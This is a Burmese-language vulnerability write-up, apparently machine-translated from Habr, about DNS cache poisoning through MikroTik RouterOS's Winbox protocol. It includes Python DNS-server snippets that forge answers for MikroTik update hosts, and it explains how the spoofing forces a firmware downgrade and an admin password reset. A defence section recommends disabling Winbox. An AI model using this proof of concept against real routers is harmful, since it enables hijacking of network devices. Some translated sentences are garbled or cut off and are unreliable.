RouterOS (Mikrotik) ပေါ်အခြေခံ၍ စက်ပစ္စည်းများကို အဝေးမှ အဆင့်နှိမ့်ချနိုင်မှုသည် ကွန်ရက်စက်ပစ္စည်း ထောင်ပေါင်းများစွာကို အန္တရာယ်ဖြစ်စေသည်။ အားနည်းချက်သည် Winbox ပရိုတိုကော၏ DNS ကက်ရှ်ကို အဆိပ်ခတ်ခြင်းနှင့် ဆက်စပ်နေပြီး သင်သည် ခေတ်မမီတော့သော (ပုံသေစကားဝှက်ကို ပြန်လည်သတ်မှတ်ခြင်းဖြင့်) သို့မဟုတ် စက်ပစ္စည်းသို့ မွမ်းမံထားသော ဆော့ဖ်ဝဲကို ဒေါင်းလုဒ်လုပ်ရန် ခွင့်ပြုသည်။
အားနည်းချက်အသေးစိတ်
RouterOS terminal သည် DNS ရှာဖွေမှုများအတွက် ဖြေရှင်းရန် အမိန့်ကို ပံ့ပိုးပေးသည်။
ဤတောင်းဆိုချက်ကို binary အမည်ရှိ ဖြေရှင်းသူမှ ကိုင်တွယ်သည်။ Resolver သည် RouterOS ၏ Winbox ပရိုတိုကောနှင့် ချိတ်ဆက်ထားသော binaries များစွာထဲမှ တစ်ခုဖြစ်သည်။ မြင့်မားသောအဆင့်တွင်၊ Winbox ဆိပ်ကမ်းသို့ပေးပို့သော "မက်ဆေ့ခ်ျ" များသည် array-based နံပါတ်တပ်ခြင်းအစီအစဉ်ကို အခြေခံ၍ RouterOS ရှိ binaries အမျိုးမျိုးသို့ လမ်းကြောင်းပြောင်းနိုင်သည်။
DNS ဆာဗာအင်္ဂါရပ်ကို RouterOS တွင် ပုံမှန်အားဖြင့် ပိတ်ထားသည်။
သို့သော်လည်း ဆာဗာလုပ်ဆောင်ချက်ကို ပိတ်ထားသော်လည်း၊ router သည် ၎င်း၏ကိုယ်ပိုင် DNS cache ကို ထိန်းသိမ်းထားသည်။
ဥပမာ.com ကဲ့သို့ winbox_dns_request ကို အသုံးပြု၍ တောင်းဆိုသောအခါ၊ router သည် ရလဒ်ကို ကက်ရှ်လုပ်ပါမည်။
တောင်းဆိုမှုမှတစ်ဆင့် DNS ဆာဗာကို ကျွန်ုပ်တို့ သတ်မှတ်နိုင်သောကြောင့် မှားယွင်းနေသော လိပ်စာများကို ထည့်သွင်းရန်မှာ အသေးအဖွဲပင်ဖြစ်သည်။ ဥပမာအားဖြင့်၊ သင်သည် DNS server အကောင်အထည်ဖော်မှုမှ configure လုပ်နိုင်သည်။
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
ယခု ဥပမာ.com ကိုရှာဖွေရန် Winbox ကိုအသုံးပြုပါက၊ Router ၏ DNS cache သည် အဆိပ်သင့်သွားသည်ကို တွေ့နိုင်ပါသည်။
အမှန်တော့၊ အဆိပ်သင့်ခြင်း example.com သည် Router မှ အမှန်တကယ်အသုံးမပြုသောကြောင့်ဖြစ်သည်။ သို့သော်လည်း၊ router သည် upgrade.mikrotik.com၊ cloud.mikrotik.com၊ cloud2.mikrotik.com နှင့် download.mikrotik.com သို့ ဝင်ရောက်ရန် လိုအပ်သည်။ အခြားအမှားတစ်ခုကြောင့် ၎င်းတို့အားလုံးကို တစ်ပြိုင်နက် အဆိပ်သင့်စေနိုင်သည်။
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Router က ထောက်ပံ့ကြေးတစ်ခု တောင်းပြီး ငါးခု ပြန်ပေးပါတယ်။ Router သည် ဤတုံ့ပြန်မှုများအားလုံးကို မှားယွင်းစွာ သိမ်းဆည်းထားသည်။
Router သည် DNS server အဖြစ် လုပ်ဆောင်နေပါက၊ router ၏ client များကို တိုက်ခိုက်ခြင်းကို ခွင့်ပြုထားသောကြောင့် ထင်ရှားပါသည်။
ထို့အပြင်၊ ဤတိုက်ခိုက်မှုသည် RouterOS ဗားရှင်းကို အဆင့်နှိမ့်ချခြင်း သို့မဟုတ် နောက်ပြန်ပို့ခြင်းတွင် ပိုမိုပြင်းထန်သော အားနည်းချက်ကို အသုံးချနိုင်စေပါသည်။ တိုက်ခိုက်သူသည် changelog အပါအဝင် အပ်ဒိတ်ဆာဗာ လော့ဂျစ်ကို ပြန်လည်ဖန်တီးပြီး RouterOS သည် ခေတ်မမီတော့သော (အားနည်းချက်) ဗားရှင်းကို နောက်ဆုံးပေါ်အဖြစ် လက်ခံရန် တွန်းအားပေးသည်။ ဤနေရာတွင် အန္တရာယ်မှာ သင်သည် ဗားရှင်းကို "အဆင့်မြှင့်ခြင်း" ပြုလုပ်သောအခါ၊ စီမံခန့်ခွဲသူစကားဝှက်ကို "မူလ" တန်ဖိုးသို့ ပြန်လည်သတ်မှတ်ထားသည် - တိုက်ခိုက်သူသည် စကားဝှက်အလွတ်ဖြင့် ဝင်ရောက်နိုင်သည်။
တိုက်ခိုက်မှုက အတော်လေး အလုပ်ဖြစ်ပေမဲ့၊
ကာကွယ်မှု
Winbox ကို ရိုးရှင်းစွာ ပိတ်ထားခြင်းဖြင့် ဤတိုက်ခိုက်မှုများကို ကာကွယ်ပေးပါသည်။ Winbox မှတဆင့် စီမံအုပ်ချုပ်မှု အဆင်ပြေသော်လည်း၊ SSH ပရိုတိုကောကို အသုံးပြုခြင်းသည် ပိုကောင်းပါတယ်။
source: www.habr.com